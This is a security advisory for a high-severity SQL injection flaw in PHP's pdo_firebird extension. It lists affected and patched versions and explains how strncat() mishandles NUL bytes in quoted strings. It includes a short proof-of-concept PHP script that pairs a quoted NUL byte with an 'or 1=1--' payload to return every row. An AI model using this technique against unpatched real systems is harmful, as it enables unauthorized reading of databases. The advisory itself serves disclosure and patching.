Skip to content

SQL injection in pdo_firebird via NUL bytes in quoted strings

High
iluuu1994 published GHSA-w476-322c-wpvm May 7, 2026

Package

ext-pdo_firebird (PHP)

Affected versions

< 8.2.31
< 8.3.31
< 8.4.21
< 8.5.6

Patched versions

8.2.31
8.3.31
8.4.21
8.5.6

Description

Improper handling of NUL bytes during the preparation of Firebird SQL queries leads to sections of the of the query being dropped. NUL bytes can find their way into queries even under regular circumstances via PDO::quote().

case ttWhite:
case ttComment:
case ttString:
case ttOther:
strncat(sql_out, start, p - start);
break;

A new query is constructed token-by-token. In the case of a ttString '\0', the string is copied via strncat() rather than memcpy(), stopping after the first ' quote and ignoring both the \0 and terminating ' quote. This will incorrectly embed the SQL tokens following the string into the string, allowing for trivial SQL injection if the next string is also attacker-controlled.

$dbh->exec('CREATE TABLE users (name VARCHAR(255))');
$dbh->exec("INSERT INTO users VALUES ('Foo')");
$dbh->exec("INSERT INTO users VALUES ('Bar')");

$param = $dbh->quote("\0");
$param2 = $dbh->quote('or 1=1--');

$stmt = $dbh->query("SELECT * FROM users WHERE name = {$param} AND name = {$param2}");

// Before preparation:
// SELECT * FROM users WHERE name = '\0' AND name = 'or 1=1--'

// After preparation:
// SELECT * FROM users WHERE name = ' AND name = 'or 1=1--'

echo json_encode($stmt->fetchAll(PDO::FETCH_ASSOC)) . "\n";
// [{"NAME":"Foo"},{"NAME":"Bar"}]

This incorrect preparation applies to SELECT, INSERT, UPDATE, DELETE, MERGE, WITH and EXECUTE statements.

Credits

Aleksey Solovev, Nikita Sveshnikov (Positive Technologies)

Severity

High

CVE ID

CVE-2025-14179

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Credits